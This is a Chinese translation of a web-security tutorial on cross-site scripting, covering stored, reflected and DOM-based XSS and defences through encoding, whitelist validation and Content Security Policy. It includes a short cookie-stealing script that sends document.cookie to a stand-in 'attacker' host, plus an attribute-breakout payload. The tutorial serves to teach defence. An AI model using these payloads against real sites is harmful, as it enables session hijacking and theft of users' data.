原文地址:http://excess-xss.com/。如有翻译不当之处,欢迎指出 :D
分为四部分:
概述
XSS 攻击
XSS 防御
总结
第一部分:概述
XSS 是什么
跨站脚本攻击(XSS)是一种代码注入攻击,攻击者利用它可以在其它用户浏览器中执行恶意 JavaScript。
攻击者并不是直接面对受害者。而是,为了让网站替自己传输恶意 JavaScript,攻击者需要利用受害者访问的网站上的漏洞。对受害者的浏览器而言,恶意的 JavaScript 似乎是网站合法的一部分,网站在无意中成为了攻击者的共犯。
恶意 JavaScript 是如何被注入的
攻击者在受害者浏览器中执行恶意 JavaScript 的唯一方式就是将其注入到受害者浏览的网页中。如果网站直接将用户输入显示到页面中,就可能导致恶意代码注入,因为攻击者可以插入恶意字符串,让受害者浏览器误以为是代码。
在下面的例子中,一段简单的服务端脚本用来在网页中展示最新的评论:
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
上面的脚本认为评论只会包含文本。然而,由于是直接展示用户输入,攻击者可以提交类似这样的评论 <script>...</script>
。现在,访问该页面的所有用户就会接收到如下响应:
<html>
Latest comment:
<script>...</script>
</html>
当用户浏览器加载了该页面,就会执行 <script>
标签中所有 JavaScript 代码。攻击者就实现了他的攻击。
恶意 JavaScript 是什么
乍一看,在受害者浏览器中执行 JavaScript 似乎并没有什么特别的危害。毕竟,JavaScript 运行在一个受到严格限制的环境中,对用户文件和操作系统只能进行非常有限的访问。事实上,你现在就可以打开浏览器的控制台,执行任意的 JavaScript,而不太可能对计算机造成任何破坏。
但是,当你考虑到下面几点时,就会更清楚恶意 JavaScript 可能造成的危害:
JavaScript 可以访问用户的敏感信息,例如 cookies。
JavaScript 可以通过 XMLHTTPRequest 或是其它方式发送 HTTP 请求,将任意内容发送到任意目标。
JavaScript 可以通过 DOM 操作方法,对当前页面进行任意篡改。
上面的因素结合起来就可以造成严重的安全隐患,如下所述。
恶意 JavaScript 有哪些危害
在其它用户浏览器中执行任意 JavaScript 的能力,使得攻击者可以进行下面几种攻击:
盗取 Cookie:攻击者使用
document.cookie
可以获取受害者与网站关联的 cookie,将其发送到自己的服务器,并利用 cookie 提取敏感信息,例如 session IDs。键盘记录:攻击者使用
addEventListener
可以注册键盘事件监听,然后将用户所有的键盘记录发送到自己的服务器,这里面可能会包含敏感信息,例如:密码或信用卡号。钓鱼:攻击者使用 DOM 操作可以插入一个伪造的登录表单,将表单的
action
属性设置为自己的服务器地址,然后欺骗用户提交敏感信息。
尽管这几种攻击方式大不相同,但有个关键点是相同的:由于攻击者是在网站提供的页面中注入的代码,所以恶意 JavaScript 会在网站的上下文中执行。这意味着,恶意 JavaScript 与来自网站的其它脚本待遇相同:它可以访问该网站上受害者的数据(例如:cookie)和 URL 地址栏中的主机名。不论出于何种目的,被注入的脚本会被看成网站合法的一部分,网站可以做的事,它同样可以做。
这样的事实凸显了一个关键点:
如果攻击者可以利用你的网站在其它用户浏览器中执行任意 JavaScript,那么你的网站及其用户的安全都受到了威胁。
为了强调这一点,本教程中的一些例子会略去恶意 JavaScript 的详细内容,只是表示为 <script>...</script>
,这表明,不管实际中执行的是什么代码,只要攻击者注入的脚本出现,问题就存在。
第二部分:XSS 攻击
XSS 攻击涉及到的角色
在详细介绍 XSS 攻击如何进行之前,需要定义 XSS 中涉及到的角色。通常,一次 XSS 会涉及三个角色:网站、受害者和攻击者。
-
网站响应 HTML 页面给发起请求的用户。在我们的例子中,网站是 http://website/。
网站的数据库用来存储一些用户的输入,并输出到网站页面中。
受害者是网站的普通用户,通过浏览器请求页面。
-
攻击者是网站的恶意用户,准备利用网站的 XSS 漏洞发起攻击
攻击者的服务器是由攻击者控制,唯一的用途是盗取用户敏感信息。在我们的例子中,位于 http://attacker/
一次攻击示例
在这个例子当中,我们假设攻击者的目标是通过利用网站 XSS 漏洞盗取受害者的 cookie。这可以通过在受害者浏览器中执行如下代码实现:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
上面的脚本将浏览器导航到新的页面,并触发一次 HTTP 请求到攻击者的服务器。URL 将受害者的 cookie 作为查询参数,当请求到达攻击者服务器时,攻击者就可以提取 cookie。一旦攻击者拿到了 cookie,他就可以冒充受害者,进而发起更深入的攻击。
从现在起,我们将上面的 HTML 代码称为恶意字符串或是恶意脚本。需要注意的是,上面的字符串只有被受害者浏览器作为 HTML 解析之后,才会产生危害。
示例攻击如何进行
下图展示了攻击者如何进行攻击:
攻击者利用网站的表单插入恶意字符串到网站数据库中。
受害者从网站中请求页面。
网站在响应中包含了来自数据库的恶意字符串,并返回给受害者。
受害者的浏览器执行了响应中的恶意字符串,将受害者的 cookie 发送到了攻击者的服务器。
XSS 类型
尽管 XSS 攻击的目标都是在受害者浏览器中执行恶意 JavaScript,还是有几种完全不同的方式来实现该目标的。XSS 攻击通常可以分为三类:
存储型 XSS(Persistent XSS),恶意字符串来自网站数据库
反射型 XSS(Reflected XSS),恶意字符串来自受害者的请求
DOM 型 XSS(DOM-based XSS),漏洞位于客户端代码而不是服务端代码
前面的例子展示了存储型 XSS 攻击。接下来介绍另外两种:反射型 XSS 和 DOM 型 XSS。
反射型 XSS
在反射型 XSS 中,恶意字符串是受害者向网站发起的请求的一部分。然后,网站将包含恶意字符串的响应返回给了受害者。如下图所示:
攻击者精心构造了一个包含恶意字符串的 URL,将其发送给受害者
攻击者欺骗受害者,使其访问了该 URL
网站在响应中包含了来自 URL 的恶意字符串
受害者浏览器执行了响应中的恶意字符串,将自己的 cookie 发送到了攻击者的服务器
如何成功发起反射型 XSS 攻击
首先,反射型 XSS 看起来是无害的,因为它需要受害者亲自发起一个包含恶意字符串的请求。而没有人会自愿攻击自己,乍看起来是没办法发动攻击的。
恰恰相反,至少有两种常见的方式,会导致受害者发起针对自己的反射型 XSS 攻击。
如果目标用户是特定的某个人,攻击者可以发送恶意 URL 给受害者(例如:使用邮件或是即时消息),并欺骗受害者访问该 URL。
如果目标用户是一大群人,攻击者可以发布指向恶意 URL 的链接(例如:在自己的网站或是社交网络上),并等待受害者点击。
这两种方式类似,并且都可以通过利用短网址服务来提高成功率,短网址会使得恶意字符串难以分辨。
DOM XSS
DOM XSS 是存储型 XSS 和 反射型 XSS 的变种。在 DOM XSS 攻击中,一直到页面运行了 JavaScript,恶意字符串才被实际的解析。
下图展示了 DOM XSS 攻击。
攻击者精心构造了一个包含恶意字符串的 URL,将其发送给受害者。
攻击者欺骗受害者,使其访问了该 URL
网站接收到响应,但是响应中并不包含恶意字符串
受害者浏览器执行响应中合法的 JavaScript,导致恶意代码插入到了页面中
受害者浏览器执行了插入到页面中的恶意代码,将 cookie 发送到了攻击者的服务器
DOM XSS 的不同之处在哪
在前面存储型和反射型 XSS 示例中,服务端把恶意脚本插入到页面中,然后将其作为响应发送给受害者。当受害者浏览器接收到响应时,会把恶意脚本当作是页面的合法内容,在页面加载过程中与其它脚本一同执行。
在 DOM XSS 示例中,恶意脚本并没有插入到页面中,在页面加载过程中,只有合法的 JavaScript 被执行。问题在于,合法的 JavaScript 直接将用户输入插入到页面中。因为恶意字符串通过 innerHTML 插入到页面中,就会作为 HTML 解析,导致恶意脚本执行。
两者的区别很小但是很重要:
在传统的 XSS 中,恶意 JavaScript 作为服务端发送页面的一部分,在页面加载时被执行
在 DOM XSS 中,恶意 JavaScript 在页面加载完成后某个时间点执行,是由页面合法 JavaScript 没有安全处理用户输入造成的。
为什么 DOM XSS 很重要
在上面的 DOM XSS 例子中,JavaScript 并不是必须的;服务端就可以生成完整的 HTML。如果服务端代码不存在漏洞,那么网站就不存在 XSS。
但是,随着 WEB 应用越来越高级,越来越多的 HTML 是在客户端通过 JavaScript 生成而不是在服务端生成。任何时候不刷新整个页面,需要更新内容,就必须通过 JavaScript 进行。值得注意的是,AJAX 请求后更新页面就是这样的例子。
也就是说,XSS 漏洞不仅可以出现在网站服务端代码,还可能出现在客户端 JavaScript 代码中。结果就是,即使服务端代码完全没问题,在页面加载完成后,客户端代码还是可能在 DOM 更新中不安全的包含了用户输入。一旦发生,客户端代码就存与服务端无关的 XSS 漏洞。
对服务端不可见的 DOM XSS
有一种特殊的 DOM XSS,恶意字符串不会被发送到网站服务端:当恶意字符串位于 URL 的片段标识符中(# 号之后)。浏览器不会发送 URL 的片段标识符到服务端,这样,服务端代码就没方法获取它。虽然客户端代码可以获取它,但是如果没有进行安全处理就会出现 XSS 漏洞。
并不是只有片段标识符会出现这种情况。对服务端不可见的用户输入还包括 HTML5 的新特性,例如:LocalStorage 和 IndexedDB。
第三部分:防御 XSS
防御 XSS 的方法
记住,XSS 攻击是一种代码注入:用户输入被错误的解释为恶意程序代码。为了防止这种类型的代码注入,需要对输入进行安全处理。对 web 开发者而言,可以采用两种不同的方式:
编码,转义用户输入,这样浏览器就只会将其解释为数据而不是代码。
校验,过滤用户输入,这样浏览器就可以将其解释为没有恶意命令的代码。
尽管这两种方式有着本质的区别,但是它们还是存在共同点,在使用过程中,理解这些共同点很重要:
上下文:根据用户输入在页面中插入位置的不同,需要进行不同的安全处理
流入/流出(inbound/outbound):安全处理要么在网站接收输入时(inbound)进行,要么在网站将输入到插入页面之前(outbound)进行
客户端/服务端:安全处理可以在客户端进行,也可以在服务端进行。在某些情况下,需要在客户端和服务端同时进行安全处理。
在详细介绍如何进行编码和校验之前,我们先来逐个解释以上三点。
输入处理的上下文
在网页中,用户输入可能插入的地方有很多。每个地方的上下文不同,要遵循指定规则才能保证用户输入不会打破上下文,被解释为恶意代码。下面是常见的上下文:
上下文 | 示例代码 |
---|---|
HTML element content | <div>userInput</div> |
HTML attribute value | <input value="userInput"> |
URL query value | http://example.com/?parameter=userInput |
CSS value | color: userInput |
JavaScript value | var name = "userInput"; |
为什么上下文很重要
如果用户的输入在编码和校验之前就插入到页面中,在上面提到的上下文中都可能产生 XSS 漏洞。攻击者要想注入恶意代码,他只需插入对应上下文的结束分隔符,紧接着是恶意代码。
例如,如果某个站点将用户输入直接插入到 HTML 属性中,攻击者通过以引号作为开头的输入就可以注入恶意脚本,如下所示:
Application code | <input value="userInput"> |
---|---|
Malicious string | "><script>...</script><input value=" |
Resulting code | <input value=""><script>...</script><input value=""> |
只需移除用户输入中的所有引号就可以避免上面的 XSS,但这只对该上下文有效。如果相同的输入插入到其它的上下文,结束分隔符可能就不同,又可能导致注入。所以说,需要根据用户输入插入点的上下文,进行不同的安全处理。
流入/流出(inbound/outbound)的输入处理
仅凭直觉,似乎只需在网站接收到用户输入时,对其进行编码或是校验就可以防止 XSS。用这种方式,任何恶意代码插入到页面中的时候都已经失效了,生成 HTML 的脚本就无需关心安全处理。
问题在于,前面也提到过,用户输入可以插入到页面中很多地方。确定用户输入最终会插入到哪一种上下文并不简单,而且相同的用户输入经常需要插入到不同的上下文。依赖 inbound 输入处理来防御 XSS 是一种非常脆弱的方案,很容易出错。(PHP 废弃的特性 magic quotes 就是这样的方案)
反倒是,outbound 输入处理应该作为防御 XSS 的首要阵线,因为它可以考虑到用户输入即将插入的特定上下文。换句话说,inbound 校验可以用来作为第二层保护,后面会再提到。
在哪里进行安全处理
当前,在大多数 web 应用中,客户端代码和服务端代码都会涉及到处理用户输入。为了防御所有类型的 XSS,安全处理也要同时在服务端和客户端进行。
为了防御传统的 XSS,安全处理必须在服务端代码进行。通过服务器支持的语言实现。
为了防御服务器接收不到恶意字符串的 DOM XSS,(例如,前面的提到的片段标识符攻击)安全处理必须在客户端进行。通过 JavaScript 实现。
现在我们已经解释过为什么上下文很重要,为什么区分 inbound 和 outbound 输入处理很重要,为什么安全处理需要同时在客户端代码和服务端代码同时进行。接下来,将要阐述两种安全处理(编码和校验)是如何进行的。
编码
编码用来转义用户输入,这样浏览器就会将其解释为数据而不是代码。在 web 开发中最常见的就是 HTML 转义,它会把字符 <
和 >
分别转换为 <
和 >
。
下面的伪代码展示了服务端代码如何对用户输入进行 HTML 转义,然后将其插入到页面中:
print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"
如果用户输入为字符串 <script>...</script>
,输出 HTML 结果如下:
<html>
Latest comment:
<script>...</script>
</html>
由于所有有特殊含义的字符都被转义了,所以浏览器不会把用户输入当作 HTML 解析。
在客户端和服务端进行编码
当在客户端进行编码时,使用的是 JavaScript,它包含针对不同上下文对数据进行编码的函数。
当在服务端进行编码时,可用的函数和服务端的语言和框架有关。考虑到服务端语言和框架多种多样,该教程不会涉及特定语言或框架的编码。不管怎样,熟悉客户端编码函数对编写服务端代码也是很有帮助的。
在客户端编码
当在客户端使用 JavaScript 编码用户输入时,有一些内置的方法和属性会自动根据上下文进行编码:
上下文 | 方法、属性 |
---|---|
HTML element content | node.textContent = userInput |
HTML attribute value |
element.setAttribute(attribute, userInput) or element[attribute] = userInput
|
URL query value | window.encodeURIComponent(userInput) |
CSS value | element.style.property = userInput |
前面提到的最后一种上下文(JavaScript values)并不包含在内,because JavaScript provides no built-in way of encoding data to be included in JavaScript source code.
编码的局限性
即使进行了编码,在一些上下文中还是可能输入恶意字符串。一个值得注意的示例如下,当用户输入用来提供 URL:
document.querySelector('a').href = userInput
尽管给一个超链接元素的 href 属性赋值,会自动编码保证其成为属性值而不是其它,但这并不能阻止攻击者插入以 "javascript:" 开头的 URL。当点击链接时,URL 中嵌入的 JavaScript 就被执行。
当你希望用户可以自定义页面部分代码时,编码这种处理方式就不太合适了。例如:在个人资料页,用户可以自定义 HTML。如果对这些 HTML 进行编码,那么个人资料页只能包含纯文本了。
在这种情况下,编码必须配合校验进行,下面介绍校验。
校验
校验是指过滤用户输入,以便移除所有恶意的部分,而无需移除其中所有代码。在 WEB 开发中最常见的一种校验就是允许一些 HTML 元素(例如: <em>
和 <strong>
)但是不允许其它一些(例如:<script>
)。
根据实现方式的不同,主要有两种典型的校验方法:
分类策略(Classification strategy):使用黑名单或白名单对用户输入进行分类。
validation outcome:被确认为有恶意的用户输入,可以选择拒绝或是净化。
分类策略(Classification strategy)
黑名单
直觉上,通过定义一个不允许出现在用户输入中的禁止模式(forbidden pattern),来进行校验是合理的。如果字符串匹配了该模式,就被标记为非法。例如:允许用户提交自定义的任意协议的 URL,除了 javascript: 伪协议。这种分类策略称为黑名单。
但是,黑名单有两大缺点:
复杂:准确的描述所有可能的恶意字符串的集合通常是一项非常复杂的任务。上面例子中,通过简单地搜索子字符串 "javascript:" 来实现是不行的,因为这会漏掉字符串的其它变种,例如:
"Javascript:"
(首字母大写)和"javascript:"
(首字母编码成了字符引用)容易失效:即使开发出了完美的黑名单,一旦浏览器增加了允许恶意用户使用的新特性,黑名单就失效了。例如,在 HTML5 onmousewheel 属性出现之前开发的 HTML 验证黑名单,就不能防御使用该属性进行的 XSS 攻击。这个缺点在 WEB 开发中尤其明显,因为使用到的多种技术都在不断地更新中。
由于这些缺点,强烈反对使用黑名单作为分类策略。通常,白名单是一种更加安全的方式。
白名单
白名单基本上和黑名单是相反的:不是定义禁止模式,而是定义允许模式(allowed pattern),如果字符串不匹配该模式,则标记为非法。
对照前面黑名单的例子,允许用户提交自定义 URL 的白名单只包含 http: 和 https: 协议,不包含其它。使用这种方式会自动将包含 javascript:
协议的 URL 标记为非法,即使它以 "Javascript:"
或 "javascript:"
形式出现。
和黑名单相比,白名单的两大优点是:
简单:通常,准确的描述一个安全的字符串的集合要比定义一个包含所有恶意字符串的集合要简单很多。尤其是,在一般情况下,用户输入只需是浏览器功能的有限子集时更是如此。例如,用于描述上面只允许 http: 或 https: 协议的 URL 的白名单是很简单的,并且在大多数情况下完全够用。
持久性:不像黑名单,当有浏览器增加新特性时,白名单一般不会失效。例如:一个 HTML 校验白名单只允许 HTML 元素上出现 title 属性,即使 HTML5 新增了 onmousewheel 属性,白名单依然有效。
Validation outcome
当输入被标记为非法,可以采取两种行为:
拒绝:简单粗暴的拒绝该输入,阻止其在网站的任何地方使用
净化:移除所有非法部分,剩余部分正常用在网站中
两种方式中,拒绝最容易实现。话虽如此,净化通常更有用,因为它允许用户的输入范围更广。例如,如果一个用户提交信用卡号,净化过程中通过移除所有非数字字符来防止代码注入,同时可以允许用户在数字间使用连字符。
如果你决定使用净化,必须保证净化过程本身没有使用黑名单的方式。例如:即使 URL"Javascript:..."
被白名单标记为非法,只需移除所有的 "Javascript:"
还是可以使其通过净化流程。因此,测试完备的库和框架还是应该尽可能的使用净化。
选用哪种方法
编码应该作为防御 XSS 的第一阵线,因为编码的目的就是 neutralize data,保证其不会被解释为代码。上面提到过,在某些情况下,需要用校验来辅助编码。应该在 outbound 处使用编码和校验,因为只有当输入展示到页面中时,你才知道要编码或校验的上下文。
作为第二阵线,你应该使用 inbound 校验来净化或是拒绝那些明显非法的数据,例如:使用 javascript: 协议的链接。虽然仅凭这并不能保证绝对安全,但是如果第一阵线由于失误或是错误导致没有正确进行,第二阵线就成了有用的预防措施。
如果能一贯的落实这两道防线,你的网站应该不会遭受 XSS 攻击。但是,考虑到开发和维护整个网站的复杂性,要想仅通过对输入进行安全处理就达到绝对安全是很困难的。作为第三道防线,你应该使用马上就要讲到的内容安全策略(Content Security Policy)。
Content Security Policy(CSP)
仅凭对输入进行安全处理来防御 XSS 的不足之处在于一个安全上的小失误就可以威胁到整个网站。被称为内容安全策略(CSP)的 WEB 标准可以降低这一风险。
CSP 用来限制浏览器 viewing your page 保证其只能使用从可信任的源下载的资源。资源可以是脚本、样式表、图片或是页面引用的其它类型文件。也就是说,即使攻击者成功在网站中注入了恶意代码,CSP 可以防止其被执行。
CSP 可以用来强制实施下面的规则:
No untrusted sources:外部资源只能从一个明确定义的可信源集合中加载
No inline resources:不执行行内(inline) JavaScript 和 CSS
No eval:不可以使用 JavaScript 函数 eval
应用 CSP
在下面的例子中,攻击者成功在某个页面中注入了恶意代码:
<html>
Latest comment:
<script src="http://attacker/malicious‑script.js"></script>
</html>
如果定义了合理的 CSP 策略,浏览器就不会加载和执行 malicious-script.js,因为 http://attacker/ 不会出现在可信源集合中。在这种情况下,即使网站没能正确对输入进行安全处理,CSP 策略可以防止漏洞造成任何损害。
即使攻击者注入的不是外部文件,而是行内脚本代码,合理的 CSP 策略仍可以禁止行内 JavaScript,从而防止漏洞造成任何伤害。
如何启用 CSP
默认情况下,浏览器不强制使用 CSP。为了给网站开启 CSP,响应中要带上额外的 HTTP 头:Content-Security-Policy。如果浏览器支持 CSP,那么所有带有这一 HTTP 头的页面都会遵守 CSP。
由于安全策略是通过每一个 HTTP 响应来发送,可以在服务端对每一页都设置安全策略。相同的策略可以通过在每个响应中提供相同的 CSP 头来应用到整站上。
Content-Security-Policy 响应头的值是一个字符串,定义了一个或多个安全策略,会应用到页面中。后面会讲到它的语法。
注意:本节示例中,为了表示清楚 HTTP 头部,使用了换行和缩进,在实际的 HTTP 头部中,这是不应该出现的。
CSP 语法
CSP 头部语法如下:
Content‑Security‑Policy:
directive source‑expression, source‑expression, ...;
directive ...;
...
由两个元素构成:
指令:声明资源类型的字符串,从预定义列表中取值。
来源表达式(Source expressions):描述可以用于下载资源的一个或多个服务器的模式
对每个指令来说,给定的来源表达式定义了该资源类型可以使用哪些来源下载资源。
指令
在 CSP 头部中可以使用的指令列表如下:
connect‑src
font‑src
frame‑src
img‑src
media‑src
object‑src
script‑src
style‑src
除了上面这些,还有一个特别的指令:default-src,它可以用来给所有指令提供一个默认值,那些没有出现在 HTTP 头部中的指令使用默认值。
来源表达式(source expressions)
来源表达式语法如下:
protocol://host‑name:port‑number
主机名可以以 打头,表示所提供的主机名的任何子域都被允许。类似的,端口号也可以是 ,表示所有端口都被允许。此外,协议和端口号可以省略。也可以只指定协议,从而实现要求所有资源都通过 HTTPS 加载。
除此之外,来源表达式还可以是下面四个有特殊含义的关键词之一(包含引号):
'none':不允许该类型资源
'self':允许从提供当前页面的主机下载资源
'unsafe-inline':允许在页面中嵌入资源,例如:行内
<script>
元素,<style>
元素和 javascript: URL。'unsafe-eval':允许使用 JavaScript eval 函数
需要注意的是,一旦启用 CSP,默认情况下,行内资源和 eval 是自动被禁止的。使用它们的唯一方式就是使用 'unsafe-inline' 和 'unsafe-eval'。
示例
Content‑Security‑Policy:
script‑src 'self' scripts.example.com;
media‑src 'none';
img‑src *;
default‑src 'self' http://*.example.com
在上面的例子当中,页面遵循如下限制:
只能从当前页面所在主机和 scripts.example.com 加载脚本
不允许加载音频和视频文件
可以从任何主机加载图片文件
其它类型的资源可以从当前页面所在主机和 example.com 的任何子域加载
CSP 当前状态
截止到 2013 年 6 月,CSP 处于 W3C candidate recommendation。已经有浏览器实现了,但是部分功能只特定于某个浏览器。特别是,浏览器之间使用的 HTTP 头部是不同的。在使用 CSP 之前,请先查阅对应浏览器的文档。
总结
总结:XSS 概述
XSS 是一种代码注入攻击,因为没有安全的处理用户输入而导致。
一次成功的 XSS 攻击可以使攻击者在受害者浏览器中执行恶意 JavaScript 代码。
一次成功的 XSS 攻击损害了网站及其用户的安全。
总结:XSS 攻击
-
主要存在三种 XSS 攻击:
存储型 XSS,恶意输入来自网站的数据库
反射型 XSS,恶意输入来自受害者发起的请求
DOM XSS,漏洞存在于客户端代码,而不是服务端代码
上面三种 XSS 攻击虽然实现方式不同,但是如果成功,效果相同。
总结:防御 XSS
-
防御 XSS 最重要的方法就是对用户输入进行安全处理:
大多数时候,对页面中展示的用户输入都要进行编码
在一些场景下,需要用校验代替或是辅助编码
进行安全处理时,需要考虑到用户输入插入点的上下文
为了防御所有类型的 XSS 攻击,对输入进行的安全处理既要在客户端进行,也要在服务端进行
当安全处理失败时,内容安全策略(CSP)提供了额外的防御层
附录
术语
需要指出的是,用于 XSS 分类的术语存在一些重叠:DOM XSS 攻击同时也是存储型或是反射型;它并不是一个独立的攻击类型。目前没有广泛接受的不存在重叠的分类术语。不考虑术语,区分各种攻击最重要的就是确定恶意输入来自哪里以及漏洞存在哪里。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。